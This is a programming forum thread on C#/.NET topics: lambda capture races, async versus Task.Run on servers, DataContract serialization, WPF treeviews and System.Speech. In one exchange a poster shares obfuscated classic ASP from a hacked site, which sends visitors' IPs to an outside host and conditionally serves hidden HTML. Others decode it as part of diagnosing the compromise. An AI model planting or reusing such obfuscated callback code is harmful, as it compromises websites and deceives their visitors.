Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.
 
  • Post
  • Reply
ljw1004
Jan 18, 2005

rum

Okita posted:

Kind of unrelated, but I thought I'd share some cool stuff I found out about System.Linq.Expressions. If anyone has used a javascript graphics/game library(such as Phaser or EaselJS) in the past, they know how tweening is done there.
I wanted to see if this was possible to do in C# in a generic way and it turns out the answer is yes.
I started out with the goal of having code that looks something like this:
code:
Tween.Create(() => label.Layout.Bounds.Y, 350, 5000);
What this statement should do is take the property label.Layout.Bounds.Y, and over the course of 5000 milliseconds smoothly nudge it from it's initial value over to the target value of 350. Keep in mind that this needs to be as generic as possible so it can be used on any property on any type.

Your solution is nice and elegant. I just want to flag that if you're doing tweening in XAML for WPF or Metro, then it works best if you use the inbuilt tweening stuff which runs off the UI thread and so is smoother.

Adbot
ADBOT LOVES YOU

ljw1004
Jan 18, 2005

rum

chippy posted:

Can I use a List of Strings as a the key for a dictionary?
Or, can anyone think of a neat solution to this? I've got a collection of Foos, each of which has a collection of Strings. I need to find each unique list of Strings, along with the Foos that share it.
p.s. VB, not C#, if it makes any difference.
p.p.s. I am aware that this is a somewhat remedial level question, but I am ill and sleep deprived and it is the end of the day.

Honestly, I'd just sort the list, then concatenate it into a single string using some kind of delimiter that's not in the strings (e.g. vbCrLf), and use the resulting SINGLE string as a key.

ljw1004
Jan 18, 2005

rum

Rocko Bonaparte posted:

Ahh that is right. I keep relearning not to use ArrayLists. I should figure out an IDE extension to yell at me when I type it.

The way to do this is with a "Roslyn Analyzer" - http://roslyn.codeplex.com - which will be part of VS2015, currently in preview. The way it will work is...

(1) You can do File>New>...>DiagnosticAndCodefix to create one, but all it is is basically just a DLL with a well-defined entry point.

(2) Anyone who wants can add a reference to your analyzer under the new References>Analyzers node (or as a NuGet package).

(3) The analyzers are run live as people type in the IDE, so they'll get warning squiggles immediately they use an ArrayList. They also get run by the compiler when you do a project-build. And they get run by build servers in the same way.

(4) The compiler, while it's compiling, calls into your analyzer. Your analyzer gets the opportunity to look at the types of symbols that are being used (and can look at pretty much anything else it wants). If it detects that one is an ArrayList, then you'll have it report a warning. You can also easily write a quick fix which suggests to the user to use "List<object>" instead.


The VB/C# team is currently moving all the old FxCop rules into this new "Analyzer" system. And people are creating lots of extra analyzers on github+nuget for general consumption:
https://github.com/code-cracker

zokie
Feb 13, 2006

Out of many, Sweden

Rocko Bonaparte posted:

I have a collections data structures question about ArrayList. I am in a situation where I wanted to use one, but the data I'm inserting into it is be placed in reverse-order. So I'm adding to the beginning every time. Is there any reason this is suboptimal for that container? I was wondering if, say, its default array started with i=0 and I immediately wreck it. I wonder then if it compensates in the second internal array it makes, or what.


Use a stack instead, I have found that whenever a stack or a queue is suitable for a problem it's almost always the right choice.

That you get to feel smug about using proper data structures is just a bonus :)

Bognar
Aug 4, 2011

I am the queen of France
Hot Rope Guy

xgalaxy posted:

I don't really agree with this in practice. On mobile ArrayList performs better than generic List. In fact on mobile avoiding generics as much as possible helps performance a ton. This is using the Xamarin mono runtime not official runtime. So this may not be relevant for Windows Phone stuff.

Wow, what design decisions were made there that caused generics to be slower? I thought C# generics were just syntactic sugar for the compiler to create additional classes at compile time. There shouldn't be any reason that those are significantly slower (I say from my armchair).

New Yorp New Yorp
Jul 18, 2003

Only in Kenya.
Pillbug

Bognar posted:

Wow, what design decisions were made there that caused generics to be slower? I thought C# generics were just syntactic sugar for the compiler to create additional classes at compile time. There shouldn't be any reason that those are significantly slower (I say from my armchair).

Nope, generics are actually supported in the CLR. You might be thinking of Java generics.

[edit]Unless you're talking about the JITer when you say "compiler", in which case yeah.

New Yorp New Yorp fucked around with this message at 00:01 on Dec 29, 2014

Ochowie
Nov 9, 2007

Bognar posted:

Wow, what design decisions were made there that caused generics to be slower? I thought C# generics were just syntactic sugar for the compiler to create additional classes at compile time. There shouldn't be any reason that those are significantly slower (I say from my armchair).

I was about to ask the same thing. Are there any articles that back this up? This seems really bizarre to me. Hopefully it changes when MS sacks up and buys Xamarin.

bobua
Mar 23, 2003
I'd trade it all for just a little more.

Say I have a List<object> called my_list. I pass that list to method that uses a backgroundworker to write everything in the list to a file, but during the write, the main thread does a my_List = new List<object>(); (not my_list.clear())...


Does the background worker keep the original list until it's done with it, or have I destroyed my write?

If I have destroyed it, is the best thing to do just to copy the objects to a new list first?

EssOEss
Oct 23, 2006
128-bit approved
If you call a method and provide your list as an argument, you provide a reference to the list object. If you now change the variable that used to reference this same list, all you do is change the variable - the original list remains as-is and the reference given to the method does not retroactively change. Variables are just convenient names used to reference objects but changing what objects variables reference does not affect the objects they reference.

Understanding the difference between variables and objects (instances) is the key here.

Furthermore, know that you cannot destroy objects in C# - they will be destroyed automatically and only when they are no longer referenced by any variables. Presumably your background worker still references your original list via a variable (otherwise it could not use it) so it will remain in existence until the background worker finishes its work.

A different scenario worth noting is that in some situations, variables themselves can be captured - there can exist one shared variable that is used in multiple places. In this case, the problem you fear might occur. Mainly, you will encounter this when using lambdas.

code:
var my_list = ...

// Assume thingy is something that can execute a lambda on a background thread
thingy.ExecuteThisInBackground(() => 
{
    // Note that no new variable is created here - there is no method argument or anything like that.
    // The single variable declared above is shared between the two scopes.
    foreach (var item in my_list)
           SaveItemToFile(item);
});

// This overwrites the variable used in the lambda above. Depending on whether the foreach loop
// had already started executing this may or may not change the outcome. It is a race condition.
my_list = new List<object>();
The illustrated code above is faulty. To fix it, you could, for example, introduce an argument for the lambda.

code:
var my_list = ...

// Assume thingy is something that can execute a lambda on a background thread
thingy.ExecuteThisInBackground((List<object> list) => 
{
    // Note that now the list comes from a lambda argument.
    // This is a new and stand-alone variable just like a method argument.
    foreach (var item in list)
           SaveItemToFile(item);
}, my_list);

// This overwrites only the my_list variable and cannot affect the list variable inside the lambda.
my_list = new List<object>();

EssOEss fucked around with this message at 23:23 on Dec 29, 2014

Forgall
Oct 16, 2012

by Azathoth

bobua posted:

Say I have a List<object> called my_list. I pass that list to method that uses a backgroundworker to write everything in the list to a file, but during the write, the main thread does a my_List = new List<object>(); (not my_list.clear())...


Does the background worker keep the original list until it's done with it, or have I destroyed my write?

If I have destroyed it, is the best thing to do just to copy the objects to a new list first?
If my_List is a local variable that you then pass to other function as parameter then it's fine.
code:
public void Main1() {
    var localList = new List<object>();
    var worker = new BackgroundWorker();
    worker.DoWork += new DoWorkEventHandler(worker_DoWork);
    worker.RunWorkerAsync(localList);
    Thread.Sleep(500);
    localList = new List<object>();
}

private void worker_DoWork(object sender, DoWorkEventArgs e) {
    var localList = (List<object>)e.Argument;
    for (int i = 0; i < 100; i++) {
        localList.Add(i);
        Thread.Sleep(10);
    }
    Console.Out.WriteLine(localList.Count);
    Console.In.ReadLine();
}
This will print 100, as it's supposed to.

If it's a field in a class and your background worker function references it, then assigning new value to it while it's used by another thread will cause problems.
code:
private List<object> fieldList;

public void Main2() {
    fieldList = new List<object>();
    var worker = new BackgroundWorker();
    worker.DoWork += new DoWorkEventHandler(worker_DoWork2);
    worker.RunWorkerAsync();
    Thread.Sleep(500);
    fieldList = new List<object>();
}

private void worker_DoWork2(object sender, DoWorkEventArgs e) {
    for (int i = 0; i < 100; i++) {
        fieldList.Add(i);
        Thread.Sleep(10);
    }
    Console.Out.WriteLine(fieldList.Count);
    Console.In.ReadLine();
}
This will likely print some value around 50 because fieldList got reassigned while worker_DoWork2 is halfway through the loop.

If your backgroundworker function is anonymous function within the body of a function which contains my_List, then you also shouldn't change it.

code:
public void Main3() {
    var localList = new List<object>();
    var worker = new BackgroundWorker();
    worker.DoWork += new DoWorkEventHandler((sender, e) => {
        for (int i = 0; i < 100; i++) {
            localList.Add(i);
            Thread.Sleep(10);
        }
        Console.Out.WriteLine(localList.Count);
        Console.In.ReadLine();
    });
    worker.RunWorkerAsync();
    Thread.Sleep(500);
    localList = new List<object>();
}
Same thing will happen as in second example.

Forgall fucked around with this message at 23:32 on Dec 29, 2014

New Yorp New Yorp
Jul 18, 2003

Only in Kenya.
Pillbug
Also, writing to a file isn't CPU-bound, so don't use a Background Worker -- use natively async methods (in the Stream-derived classes).

The general guideline is:

Async/await for I/O-bound operations (file I/O, hitting web services, retrieving data from databases, etc)
Threads for CPU-bound operations

bobua
Mar 23, 2003
I'd trade it all for just a little more.

Good explanations. Thanks!

bobua
Mar 23, 2003
I'd trade it all for just a little more.

Ithaqua posted:

Also, writing to a file isn't CPU-bound, so don't use a Background Worker -- use natively async methods (in the Stream-derived classes).

The general guideline is:

Async/await for I/O-bound operations (file I/O, hitting web services, retrieving data from databases, etc)
Threads for CPU-bound operations

I'm trying to do this, but I'm not using a regular .net method to write the files, I'm using this - http://www.emgu.com/wiki/files/2.3.0/document/html/a6b9b293-3647-ecfe-6754-920a5a46f394.htm which I don't think is async.

Should I write my function to use async and call .save from in there, or am I going about this wrong?

EssOEss
Oct 23, 2006
128-bit approved
If you are using a library that is not async-aware then no, it is not possible to make it meaningful in an async scenario. I think the approach you use is OK in this case, assuming that you actually do need it to happen in the background.

Memory fails me, though, on what exactly a BackgroundWorker does - I assume it is just an equivalent of creating a new thread? I tend to just create a new thread directly in such a case, if I have a potentially long-running non-async thing to execute in the background.

Forgall
Oct 16, 2012

by Azathoth
So that's interesting, when you have [DataContract] attribute on base class, but not on child class, DataContractSerializer serializes public properties of child class just fine, but not private ones. To make it work with private fields/properties you need to put [DataContract] on child class as well. That's a bit strange.

Edit: Also you need [DataContract] on child class if it doesn't have parameterless constructor, even when child class doesn't have any DataMemebers of its own.

Forgall fucked around with this message at 12:03 on Dec 30, 2014

genki
Nov 12, 2003

Forgall posted:

So that's interesting, when you have [DataContract] attribute on base class, but not on child class, DataContractSerializer serializes public properties of child class just fine, but not private ones. To make it work with private fields/properties you need to put [DataContract] on child class as well. That's a bit strange.

Edit: Also you need [DataContract] on child class if it doesn't have parameterless constructor, even when child class doesn't have any DataMemebers of its own.
Uh, what? I don't understand, this seems like a fairly basic OO concept. If you put a data contract on a base class, then the child class has private properties, how would any part of the system know that the child class private properties should be serialized? The base class has no visibility into those.

I think you probably need to add the data contract on the child class if you want the system to know that the class should be serialized even though it doesn't have any data members because it requires the parameterless constructor to create the instance when deserializing, so the only way to tell the system that "yes, I want the base class A of this child class B serialized" is to actually put the contract on child class B, because otherwise with no data members and no parameterless constructor in class B, it probably doesn't bother trying to check for the base class A. At least, I think that's how that would work.

Also I'm sorry that I missed out on the windows service scheduled operation talk. I spent way too much poo poo on that sort of thing in the past and I have lots of opinions on how it should be done.

Forgall
Oct 16, 2012

by Azathoth

genki posted:

Uh, what? I don't understand, this seems like a fairly basic OO concept. If you put a data contract on a base class, then the child class has private properties, how would any part of the system know that the child class private properties should be serialized? The base class has no visibility into those.
When I construct DataContractSerializer I explicitly give it child type as constructor parameter.
code:
[DataContract]
class BaseClass{
}

class DerivedClass : BaseClass {
	[DataMember]
	private string someText;

	[DataMember]
	public string SomeOtherText{get; set; }

	public DerivedClass(string someText){
		this.someText = someText;
	}
}
code:
var serializer = new DataContractSerializer(typeof(DerivedClass));
var obj = new DerivedClass("a thing");
obj.SomeOtherText = "other thing";
serializer.WriteObject(stream, obj);
WriteObject will throw exception here, complaining that DerivedClass doesn't have DataContact attribute. But if I add parameterless constructor to DerivedClass there's no exception, public property is serialized, yet private field isn't. Finally if I add DataContract to DerivedClass it serializes and deserializes both public and private members fine with or without parameterless constructor (it doesn't call any constructors when deserializing in any case).

Ok, I got it now, DataContractSerializer just acts like old XmlSerializer on types not marked with [DataContract] (and this attribute is not inheritable), as a silent fallback I guess. That confused me a bit.

Che Delilas
Nov 23, 2009
FREE TIBET WEED

EssOEss posted:

If you are using a library that is not async-aware then no, it is not possible to make it meaningful in an async scenario. I think the approach you use is OK in this case, assuming that you actually do need it to happen in the background.

At some point you (meaning any developer) will need to be able to achieve concurrency with their lowest-level functions though, right? I mean, the be-all and end-all of async isn't "use the magic methods in MS-provided libraries or gently caress off." Right? I'm not being snide here, I'm still trying to get a handle on async and its ilk.

Like, in bobua's case, his lowest-level method would look like this:

C# code:
public Task SaveMyFile(string fileName)
{
    await Task.Run( () => MyIImageObject.Save(fileName) );  //Send the misbehaving, non-async-aware method off to the thread pool
}
And then he can await up the rest of the call graph as far as it goes. Am I doing this right? I mean, I know that Task.Run will shunt the work off to a pooled thread, which is not the same as releasing execution to the caller while the I/O operation completes and therefore is not ~~True Asynchrony~~ but if a library or method doesn't behave itself in this fashion, it's up to us to tell it to go sit in the corner until it's done. Right? At least the pooled threads avoid most of the overhead associated with creating a new thread.

I'd really appreciate some words on this from someone who has some real experience with async, because this is one of those sticking points that's preventing everything from really clicking in my head.

ljw1004
Jan 18, 2005

rum

Che Delilas posted:

At some point you (meaning any developer) will need to be able to achieve concurrency with their lowest-level functions though, right? I mean, the be-all and end-all of async isn't "use the magic methods in MS-provided libraries or gently caress off." Right? I'm not being snide here, I'm still trying to get a handle on async and its ilk.
...
Like, in bobua's case, his lowest-level method would look like this:
C# code:
await Task.Run( () => MyIImageObject.Save(fileName) );
And then he can await up the rest of the call graph as far as it goes. Am I doing this right? I'd really appreciate some words on this from someone who has some real experience with async, because this is one of those sticking points that's preventing everything from really clicking in my head.

Okay, here's the definitive answer from the .NET team:

Yes you're right. That "Task.Run" is exactly how you'd get it to work in this case, and the rest of your code can happily be async.

However if you're writing code for server-side applications, or code that goes in a library which might be used server-side, then Task.Run isn't a good approach. This is subtle...

* In server-side code, let's say your ASP.Net server can happily handle 1000 concurrent requests by using one thread per request. But if this request actually ends up using Task.Run and so consumes two requests, then it'll end up only being able to handle 500 concurrent requests. Thus the Task.Run hasn't actually achieved anything useful.

* The right way to think about this is that the threadpool is an "application-wide global resource". If you write a library which secretly uses up that global resource, without the app-author even being aware of it, then you've done a disservice. It would have been better for your library to expose it as a synchronous method so that the top-level app author can make their own decisions about when to use the threadpool.

So yes, if you want to make something purely async, that really is async all the way down, then it has to be built out of async primitives all the way down. The authors of emgu themselves would have to expose save+load methods that call into the OS's asynchronous APIs. Anything else is just a bandaid.

Che Delilas
Nov 23, 2009
FREE TIBET WEED

ljw1004 posted:

Okay, here's the definitive answer from the .NET team:

:words:

That's really, hugely, fantastically helpful to me, thank you.

Bognar
Aug 4, 2011

I am the queen of France
Hot Rope Guy

ljw1004 posted:

* In server-side code, let's say your ASP.Net server can happily handle 1000 concurrent requests by using one thread per request. But if this request actually ends up using Task.Run and so consumes two requests, then it'll end up only being able to handle 500 concurrent requests. Thus the Task.Run hasn't actually achieved anything useful.

You would still be able to handle 1000 concurrent requests in this situation since the method awaiting Task.Run is suspended, so another thread can handle another request. You still haven't gained anything by using Task.Run, but you haven't cut your performance in half either (assuming you're using a synchronous method).

I know ljw1004 understands this next part, but this is for anyone else having trouble grasping async/await benefits. If you have a method that's asynchronous, such as I/O for reading from a disk or network traffic, while your code is waiting on the completion of that method the calling thread is freed up to do other things. So, in the above ASP.NET example, if half of the time spent in a request is reading a file from disk and the other half is processing it, an async I/O method would let your serve twice as many requests per second as a synchronous I/O method since all of the time that you would have spent waiting on I/O can now be spent processing data on other requests.

This is a pretty good article to read. Check out the section titled "What About the Thread Doing the Asynchronous Work?"

Che Delilas
Nov 23, 2009
FREE TIBET WEED

Bognar posted:

You would still be able to handle 1000 concurrent requests in this situation since the method awaiting Task.Run is suspended, so another thread can handle another request. You still haven't gained anything by using Task.Run, but you haven't cut your performance in half either (assuming you're using a synchronous method).

Does the main thread of an application come from the thread pool too?

Bognar
Aug 4, 2011

I am the queen of France
Hot Rope Guy
The "main thread" is kind of irrelevant in a server scenario, but no it doesn't "come from" the thread pool. In a client application, your main thread is the UI thread and it is not managed by the thread pool.

I should note, though, that you don't need a thread pool for asynchronous programming. The C# implementation of asynchrony is closely tied to a thread pool, but it's possible to do things asynchronously with a single thread (like JavaScript for example).

EDIT: Unless by "main thread" in a server scenario, you mean the thread handling the initial request and not the thread used by Task.Run. In that case, yes, that thread is coming from a thread pool (though not necessarily the ThreadPool class) to avoid the expensive build-up and teardown of threads.

Bognar fucked around with this message at 22:01 on Dec 30, 2014

bobua
Mar 23, 2003
I'd trade it all for just a little more.

Pulling my hair out trying to bind to a treeview for the first time in wpf...

I have a data structure that looks like this...

List<Category> Categories;

Category has a Name, and a List<Category> Categories & List<FeatureHolder> Features
So... categories can contain a list of other categories and/or a list of features. A feature has no depth, but a category could be multiple sub categories deep.
I can get categories to work in the treeview, and I can get features to show up, but only if a feature is 2 categories deep. A feature will never show up if it's under a top level category.

code:
                    <TreeView.Resources>
                        <HierarchicalDataTemplate DataType="{x:Type local:Category}" ItemsSource="{Binding Categories}">
                            <TextBlock Text="{Binding Name}"/>                       
                            <HierarchicalDataTemplate.ItemTemplate>                      
                                <HierarchicalDataTemplate DataType="{x:Type local:FeatureHolder}" ItemsSource="{Binding Features}" >                                   
                                        <TextBlock Text="{Binding Name}"/>
                                </HierarchicalDataTemplate>
                            </HierarchicalDataTemplate.ItemTemplate>
                        </HierarchicalDataTemplate>
                    </TreeView.Resources>
edit: Got this figured out

I needed to wrap the sub categories\featureholders in a component collection and make that the binding path, the do two seperate hierarchical datatemplates for them.

bobua fucked around with this message at 23:40 on Dec 30, 2014

Che Delilas
Nov 23, 2009
FREE TIBET WEED

Bognar posted:

EDIT: Unless by "main thread" in a server scenario, you mean the thread handling the initial request and not the thread used by Task.Run. In that case, yes, that thread is coming from a thread pool (though not necessarily the ThreadPool class) to avoid the expensive build-up and teardown of threads.

Yes, this is what I meant with my question. You said this:

quote:

You would still be able to handle 1000 concurrent requests in this situation since the method awaiting Task.Run is suspended
and I was trying to get a picture in my brain of what would be happening in this scenario. Since the method awaiting Task.Run would be run on a pooled thread, suspending it while waiting for the Task.Run operation to complete would free up a bit of the pool, as you said.

I wasn't disbelieving you, by the way, I'm just trying to get a solid handle on this, and it's difficult when the very nature of the subject is so twisty.

Bognar
Aug 4, 2011

I am the queen of France
Hot Rope Guy

Che Delilas posted:

I wasn't disbelieving you, by the way, I'm just trying to get a solid handle on this, and it's difficult when the very nature of the subject is so twisty.

No worries, there's a lot going on and it's easy to get confused. Tasks in .NET are powerful because they are a combination of a lot of different concepts, but that also makes them hard to grasp. They are an abstraction over long running processes as well as asynchronous actions, and they can be used for parallelism as well as concurrency (they are not the same thing). It can be hard to separate all the ideas when they're all packaged up into one abstraction.

Knyteguy
Jul 6, 2005

YES to love
NO to shirts


Toilet Rascal
Anyone that can summarize what the hell this doing since I don't know VB?

Visual Basic .NET code:
<%
'on error resume next
Server.ScriptTimeout=500
dim ipcheck,html
ipcheck = "false"
Public O0OOO000OO
    O0OOO000OO = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 49 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 50 ) & Chr ( 116 ) & Chr ( 104 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 97 ) & Chr ( 108 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 47 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 112 ) & Chr ( 63 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 61 )
html = O0O000OO0O(O0OOO000OO&getIP())
If instr(html,"<t@k>")>0 Then
	 ipcheck = replace(html,"<t@k>","")
End If

if CheckAgent=true or ipcheck="true" Then
%>
(html here)
Mostly the goofy variable and all of that Chr stuff.

Edit: Part 2: http://forums.somethingawful.com/showthread.php?threadid=2803713&pagenumber=691#post439697657

Knyteguy fucked around with this message at 21:05 on Jan 2, 2015

fritz
Jul 26, 2003

Knyteguy posted:

Anyone that can summarize what the hell this doing since I don't know VB?

Visual Basic .NET code:
<%
'on error resume next
Server.ScriptTimeout=500
dim ipcheck,html
ipcheck = "false"
Public O0OOO000OO
    O0OOO000OO = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 49 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 50 ) & Chr ( 116 ) & Chr ( 104 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 97 ) & Chr ( 108 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 47 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 112 ) & Chr ( 63 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 61 )
html = O0O000OO0O(O0OOO000OO&getIP())
If instr(html,"<t@k>")>0 Then
	 ipcheck = replace(html,"<t@k>","")
End If

if CheckAgent=true or ipcheck="true" Then
%>
(html here)
Mostly the goofy variable and all of that Chr stuff.

That Chr stuff is starting out as "http", maybe try decoding all the rest of it?

New Yorp New Yorp
Jul 18, 2003

Only in Kenya.
Pillbug

Brain-dead obfuscation. The Chr() calls are outputting the value "http://1nil2thearsenal.com/ip.php?ip=" one character at a time.

New Yorp New Yorp fucked around with this message at 21:17 on Jan 2, 2015

Scaramouche
Mar 26, 2001

SPACE FACE! SPACE FACE!

Yeah they're putting a URL literal in code but apparently don't want people to be able to find that url by text search, maybe?

Knyteguy
Jul 6, 2005

YES to love
NO to shirts


Toilet Rascal
Hm that looks like some sort of site compromise to me. Thanks for the help.

Edit: yes it was compromised. Here's another version on another website: http://www.airdispatchinc.com/images/css.txt

Knyteguy fucked around with this message at 22:44 on Jan 2, 2015

Scuzzywuffit
Feb 5, 2012

I've got a fairly simple question that I'm having trouble Googling an answer for, for some reason.

If I'm using Entity Framework to create a Code First database, and the entity A contains a List<B> of entity Bs, does the fact that I used a List mean that ordering will be preserved if I query out an A? Or do I need to manage ordering by hand?

New Yorp New Yorp
Jul 18, 2003

Only in Kenya.
Pillbug

Scuzzywuffit posted:

I've got a fairly simple question that I'm having trouble Googling an answer for, for some reason.

If I'm using Entity Framework to create a Code First database, and the entity A contains a List<B> of entity Bs, does the fact that I used a List mean that ordering will be preserved if I query out an A? Or do I need to manage ordering by hand?

I'm not particularly familiar with EF, but lists are not ordered data structures. I would not expect it to preserve ordering.

Scuzzywuffit
Feb 5, 2012

Ithaqua posted:

I'm not particularly familiar with EF, but lists are not ordered data structures. I would not expect it to preserve ordering.

Looking at the table it generated, I'm guessing you're right. Thank you!

Gul Banana
Nov 28, 2003

Since when are lists unordered? Relations between entities are, sure, but the code equivalent of that would be a *set*.

The MUMPSorceress
Jan 6, 2012


^SHTPSTS

Gary’s Answer
Yeah, lists are ordered, just not sorted.

Fastbreak
Jul 4, 2002
Don't worry, I had ten bucks.
Have a very odd problem with system.speech from porting over some old code. I had a simple text to speech program running about a year and a half ago and my new company has a need for it as a POC. I grabbed the old code, did a quick quality of life update on it, and it ran fine locally. Once I moved it over to my rackspace VM just to work out any deployment quirks, I am getting a very odd error I am certainly not getting locally:

code:
Server Error in '/speechapi' Application.

An asynchronous module or handler completed while an asynchronous operation was still pending.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. 

Exception Details: System.InvalidOperationException: An asynchronous module or handler completed while an asynchronous operation was still pending.

Source Error: 

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.

Stack Trace: 


[InvalidOperationException: An asynchronous module or handler completed while an asynchronous operation was still pending.]

Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.0.30319.34212
I am doing nothing asychronous outside of the natural asynchronity of the webapi.

I have tracked down the problem to be when my tConvertTextToWav function. relevant code below:

code:
static public byte[] ConvertTextToMP3(string text)
        {
            try
            {
                byte[] wav = ConvertTextToWav(text);
                return ConvertWavToMp3(wav);
                //return wav;
            }
            catch(Exception ex)
            {
                //have some sort of handling here
                return null;
            }
        }
code:
static private byte[] ConvertTextToWav(string text)
        {
            SpeechSynthesizer speaker = new SpeechSynthesizer();
            speaker.SelectVoice("Microsoft Hazel Desktop");
            using (MemoryStream streamAudio = new MemoryStream())
            {
                SpeechAudioFormatInfo synthFormat = new SpeechAudioFormatInfo(EncodingFormat.Pcm, 16000, 16, 1, 16000, 2, null);
                speaker.SetOutputToAudioStream(streamAudio, synthFormat);
                speaker.Speak(text);

                return streamAudio.ToArray();
            }
        }
The endpoint:
code:
public HttpResponseMessage Get(string text)        
        {
            byte[] mp3Val = Custom.AudioWork.ConvertTextToMP3(text);
            HttpResponseMessage result = new HttpResponseMessage(HttpStatusCode.OK);
            result.Content = new ByteArrayContent(mp3Val);
            result.Content.Headers.ContentType = new MediaTypeHeaderValue("audio/mpeg");
            return result;
        }
Again, by adding and removing some functions, it seems clear that the error is occurring in the ConvertTextToWav but only on my hosted VM, it works without a hitch locally. I imagine there is a setting or tweak in IIS I am not thinking of?

Any help would be hot, thanks in advance.

Forgall
Oct 16, 2012

by Azathoth
Catch and log the exception thrown in the ConvertTextToWav to see what it says? It seems likely that Speech Platform Runtime is not installed on VM, could be that.

Fastbreak
Jul 4, 2002
Don't worry, I had ten bucks.
That was a good guess on the speech platform, but sadly that did not fix anything.

No errors are being thrown. I used a simple text file writer (which I verified worked on the server) and no errors are being written to it.

I just threw the conversion function into another thread and it seems to have solved the problem, despite it being listed as a synchronous operation. Odd indeed. Thanks for taking a look though.

Adbot
ADBOT LOVES YOU

RICHUNCLEPENNYBAGS
Dec 21, 2010

Ithaqua posted:

I'm not particularly familiar with EF, but lists are not ordered data structures. I would not expect it to preserve ordering.

List<T> does preserve order though? IList<T> supports indexing by number so it would be very odd not to have stable order.

That said, you can just make EF entities use ICollection<T> which is probably a more accurate reflection of what's going on.

  • 1
  • 2
  • 3
  • 4
  • 5
  • Post
  • Reply